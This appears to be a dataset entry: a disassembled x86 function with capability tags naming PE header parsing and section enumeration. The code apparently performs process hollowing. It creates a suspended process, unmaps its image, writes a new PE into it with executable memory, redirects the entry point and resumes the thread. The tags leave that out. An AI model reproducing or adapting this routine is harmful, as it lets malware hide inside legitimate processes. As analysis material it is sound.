Function at 0x402297
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0xbc
mov ebx, dword [ebp + 0xc]
mov eax, dword [0x474480]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x74], eax
mov eax, dword [0x474484]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x8c], eax
mov eax, dword [0x474488]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x7c], eax
mov eax, dword [0x47448c]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x78], eax
mov eax, dword [0x474490]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x88], eax
mov eax, dword [0x474494]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x70], eax
mov eax, dword [0x474498]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x84], eax
mov eax, dword [0x47449c]
mov dword [esp + 4], eax
mov eax, dword [0x474038]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [ebp - 0x80], eax
mov eax, dword [0x4744a0]
mov dword [esp + 4], eax
mov eax, dword [0x47403c]
mov dword [esp], eax
call fcn.004027e4
sub esp, 8
mov dword [0x474508], eax
cmp dword [ebp + 8], 0x46f034
jne 0x4023e7
mov dword [esp + 0x10], 0
mov eax, dword [0x47450c]
mov dword [esp + 0xc], eax
mov dword [esp + 8], ebx
mov eax, dword [0x474024]
mov dword [esp + 4], eax
mov eax, dword [0x4744f8]
mov dword [esp], eax
call dword [ebp - 0x70]
sub esp, 0x14
jmp 0x402676
mov esi, ebx
cmp word [ebx], 0x5a4d
jne 0x402676
mov dword [ebp - 0x90], ebx
mov eax, ebx
add eax, dword [ebx + 0x3c]
mov dword [0x474028], eax
cmp dword [eax], 0x4550
jne 0x402676
lea edx, [ebp - 0x5c]
mov al, 0
mov ecx, 0x44
mov edi, edx
rep stosb byte es:[edi], al
mov cl, 0x10
mov edi, 0x4744f8
rep stosb byte es:[edi], al
mov dword [esp + 0x24], 0x4744f8
mov dword [esp + 0x20], edx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [ebp - 0x74]
sub esp, 0x28
test eax, eax
je 0x402676
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 4
mov dword [esp], 0
call dword [ebp - 0x7c]
sub esp, 0x10
mov dword [0x474020], eax
mov dword [eax], 0x10007
mov eax, dword [0x474020]
mov dword [esp + 4], eax
mov eax, dword [0x4744fc]
mov dword [esp], eax
call dword [ebp - 0x78]
sub esp, 8
test eax, eax
je 0x402676
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x4744f4
mov eax, dword [0x474020]
mov eax, dword [eax + 0xa4]
add eax, 8
mov dword [esp + 4], eax
mov eax, dword [0x4744f8]
mov dword [esp], eax
call dword [ebp - 0x8c]
sub esp, 0x14
mov edx, dword [0x4744f4]
mov eax, dword [0x474028]
cmp edx, dword [eax + 0x34]
jne 0x40251e
call fcn.00401fcb
mov eax, dword [0x474028]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [eax + 0x50]
mov dword [esp + 8], edx
mov eax, dword [eax + 0x34]
mov dword [esp + 4], eax
mov eax, dword [0x4744f8]
mov dword [esp], eax
call dword [ebp - 0x88]
sub esp, 0x14
mov dword [0x474024], eax
test eax, eax
je 0x40264f
mov eax, dword [0x474028]
mov eax, dword [eax + 0x54]
mov dword [0x47450c], eax
mov dword [esp + 4], ebx
mov dword [esp], 0x46f034
call fcn.00402297
mov eax, dword [0x474028]
cmp word [eax + 6], 0
je 0x4025fa
mov dword [ebp - 0x6c], 0
mov edi, 0
mov ebx, 0x4744f8
mov eax, dword [esi + 0x3c]
mov edx, dword [ebp - 0x90]
lea eax, [edx + eax + 0xf8]
add eax, dword [ebp - 0x6c]
mov dword [esp + 0x10], 0
mov edx, dword [eax + 0x10]
mov dword [esp + 0xc], edx
mov edx, dword [ebp - 0x90]
add edx, dword [eax + 0x14]
mov dword [esp + 8], edx
mov edx, dword [0x474024]
add edx, dword [eax + 0xc]
mov dword [esp + 4], edx
mov eax, dword [ebx]
mov dword [esp], eax
call dword [ebp - 0x70]
sub esp, 0x14
inc edi
mov eax, dword [0x474028]
add dword [ebp - 0x6c], 0x28
movzx edx, word [eax + 6]
cmp edx, edi
jg 0x402599
cmp edi, 0x60c
je 0x402631
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 4
add eax, 0x34
mov dword [esp + 8], eax
mov eax, dword [0x474020]
mov eax, dword [eax + 0xa4]
add eax, 8
mov dword [esp + 4], eax
mov eax, dword [0x4744f8]
mov dword [esp], eax
call dword [ebp - 0x70]
sub esp, 0x14
mov edx, dword [0x474024]
mov eax, dword [0x474028]
add edx, dword [eax + 0x28]
mov eax, dword [0x474020]
mov dword [eax + 0xb0], edx
call fcn.00401f84
mov eax, dword [0x474020]
mov dword [esp + 4], eax
mov ebx, 0x4744fc
mov eax, dword [ebx]
mov dword [esp], eax
call dword [ebp - 0x84]
sub esp, 8
mov eax, dword [ebx]
mov dword [esp], eax
call dword [ebp - 0x80]
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
leave
ret